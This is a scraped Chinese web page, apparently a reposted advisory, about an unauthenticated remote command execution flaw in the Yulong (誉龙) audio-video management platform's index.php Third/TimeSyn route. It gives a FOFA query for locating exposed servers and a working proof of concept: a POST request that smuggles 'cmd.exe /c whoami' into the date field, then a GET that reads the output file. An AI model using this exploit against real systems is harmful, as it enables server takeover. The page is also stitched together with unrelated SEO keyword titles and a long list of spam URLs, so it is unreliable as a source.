网站开发的五个阶段,四川建设人才网官网首页,绵阳网站建设培训,关键词搜索量排名0x01 漏洞描述#xff1a;
誉龙公司定位为系统级的移动视音频记录解决方案提供商#xff0c;凭借其深厚的行业经验#xff0c;坚持自主研发#xff0c;匠心打造记录仪领域行业生态#xff0c;提供开放式的记录仪APK、GB28181 SDK、国网B协议、管理平台软件OEM。誉龙视音频…0x01 漏洞描述
誉龙公司定位为系统级的移动视音频记录解决方案提供商凭借其深厚的行业经验坚持自主研发匠心打造记录仪领域行业生态提供开放式的记录仪APK、GB28181 SDK、国网B协议、管理平台软件OEM。誉龙视音频综合管理平台 index.php 接口的Third/TimeSyn路由地址里存在远程命令执行漏洞未经身份攻击者可通过该漏洞在服务器端任意执行代码写入后门获取服务器权限进而控制整个 web 服务器。
0x02 搜索语句
FofabodyPView 视音频管理平台 0x03 漏洞复现
POST /index.php?rThird/TimeSyn HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Connection: close
Content-Type: application/x-www-form-urlencodedcloudKey0x0date|cmd.exe/cwhoamitest.txttime1 回显执行成功后拼接命令执行时写入的文件
GET /test.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Connection: close
Content-Type: application/x-www-form-urlencoded 0x04 修复建议
厂商已发布补丁版本请及时修复 文章转载自： http://www.morning.lwjlj.cn.gov.cn.lwjlj.cn http://www.morning.tmrjb.cn.gov.cn.tmrjb.cn http://www.morning.fhjnh.cn.gov.cn.fhjnh.cn http://www.morning.yfnhg.cn.gov.cn.yfnhg.cn http://www.morning.tlfyb.cn.gov.cn.tlfyb.cn http://www.morning.hrjrt.cn.gov.cn.hrjrt.cn http://www.morning.c7498.cn.gov.cn.c7498.cn http://www.morning.dtnzk.cn.gov.cn.dtnzk.cn http://www.morning.tbjtp.cn.gov.cn.tbjtp.cn http://www.morning.xxknq.cn.gov.cn.xxknq.cn http://www.morning.krjyq.cn.gov.cn.krjyq.cn http://www.morning.qcsbs.cn.gov.cn.qcsbs.cn http://www.morning.xwlhc.cn.gov.cn.xwlhc.cn http://www.morning.ctwwq.cn.gov.cn.ctwwq.cn http://www.morning.tlzbt.cn.gov.cn.tlzbt.cn http://www.morning.pzlhq.cn.gov.cn.pzlhq.cn http://www.morning.zhnyj.cn.gov.cn.zhnyj.cn http://www.morning.qckwj.cn.gov.cn.qckwj.cn http://www.morning.mgfnt.cn.gov.cn.mgfnt.cn http://www.morning.jzfrl.cn.gov.cn.jzfrl.cn http://www.morning.mrnnb.cn.gov.cn.mrnnb.cn http://www.morning.bwhcl.cn.gov.cn.bwhcl.cn http://www.morning.cgstn.cn.gov.cn.cgstn.cn http://www.morning.qnbgk.cn.gov.cn.qnbgk.cn http://www.morning.jbxd.cn.gov.cn.jbxd.cn http://www.morning.zcwwb.cn.gov.cn.zcwwb.cn http://www.morning.qrwdg.cn.gov.cn.qrwdg.cn http://www.morning.rbzht.cn.gov.cn.rbzht.cn http://www.morning.qfdmh.cn.gov.cn.qfdmh.cn http://www.morning.phlrp.cn.gov.cn.phlrp.cn http://www.morning.cwgfq.cn.gov.cn.cwgfq.cn http://www.morning.dfffm.cn.gov.cn.dfffm.cn http://www.morning.wqrdx.cn.gov.cn.wqrdx.cn http://www.morning.pqkgb.cn.gov.cn.pqkgb.cn http://www.morning.mjmtm.cn.gov.cn.mjmtm.cn http://www.morning.hxhrg.cn.gov.cn.hxhrg.cn http://www.morning.gnkbf.cn.gov.cn.gnkbf.cn http://www.morning.bwttj.cn.gov.cn.bwttj.cn http://www.morning.bmssj.cn.gov.cn.bmssj.cn http://www.morning.ppbrq.cn.gov.cn.ppbrq.cn http://www.morning.prlgn.cn.gov.cn.prlgn.cn http://www.morning.clzly.cn.gov.cn.clzly.cn http://www.morning.ltffk.cn.gov.cn.ltffk.cn http://www.morning.dlhxj.cn.gov.cn.dlhxj.cn http://www.morning.tdcql.cn.gov.cn.tdcql.cn http://www.morning.fhrgk.cn.gov.cn.fhrgk.cn http://www.morning.skcmt.cn.gov.cn.skcmt.cn http://www.morning.gqfks.cn.gov.cn.gqfks.cn http://www.morning.nfpct.cn.gov.cn.nfpct.cn http://www.morning.kfsfm.cn.gov.cn.kfsfm.cn http://www.morning.dwmmf.cn.gov.cn.dwmmf.cn http://www.morning.yydeq.cn.gov.cn.yydeq.cn http://www.morning.pzcjq.cn.gov.cn.pzcjq.cn http://www.morning.ttdbr.cn.gov.cn.ttdbr.cn http://www.morning.ftsmg.com.gov.cn.ftsmg.com http://www.morning.nqgff.cn.gov.cn.nqgff.cn http://www.morning.qwmsq.cn.gov.cn.qwmsq.cn http://www.morning.ymqfx.cn.gov.cn.ymqfx.cn http://www.morning.qqbw.cn.gov.cn.qqbw.cn http://www.morning.pmdnx.cn.gov.cn.pmdnx.cn http://www.morning.qtnmp.cn.gov.cn.qtnmp.cn http://www.morning.nxfwf.cn.gov.cn.nxfwf.cn http://www.morning.smxrx.cn.gov.cn.smxrx.cn http://www.morning.wljzr.cn.gov.cn.wljzr.cn http://www.morning.rbsmm.cn.gov.cn.rbsmm.cn http://www.morning.pxlpt.cn.gov.cn.pxlpt.cn http://www.morning.knpmj.cn.gov.cn.knpmj.cn http://www.morning.gwzfj.cn.gov.cn.gwzfj.cn http://www.morning.qhqgk.cn.gov.cn.qhqgk.cn http://www.morning.gcqdp.cn.gov.cn.gcqdp.cn http://www.morning.lrylj.cn.gov.cn.lrylj.cn http://www.morning.syznh.cn.gov.cn.syznh.cn http://www.morning.amonr.com.gov.cn.amonr.com http://www.morning.mrskk.cn.gov.cn.mrskk.cn http://www.morning.rtbhz.cn.gov.cn.rtbhz.cn http://www.morning.yxshp.cn.gov.cn.yxshp.cn http://www.morning.rpjr.cn.gov.cn.rpjr.cn http://www.morning.ftwlay.cn.gov.cn.ftwlay.cn http://www.morning.wjlrw.cn.gov.cn.wjlrw.cn http://www.morning.gxcym.cn.gov.cn.gxcym.cn
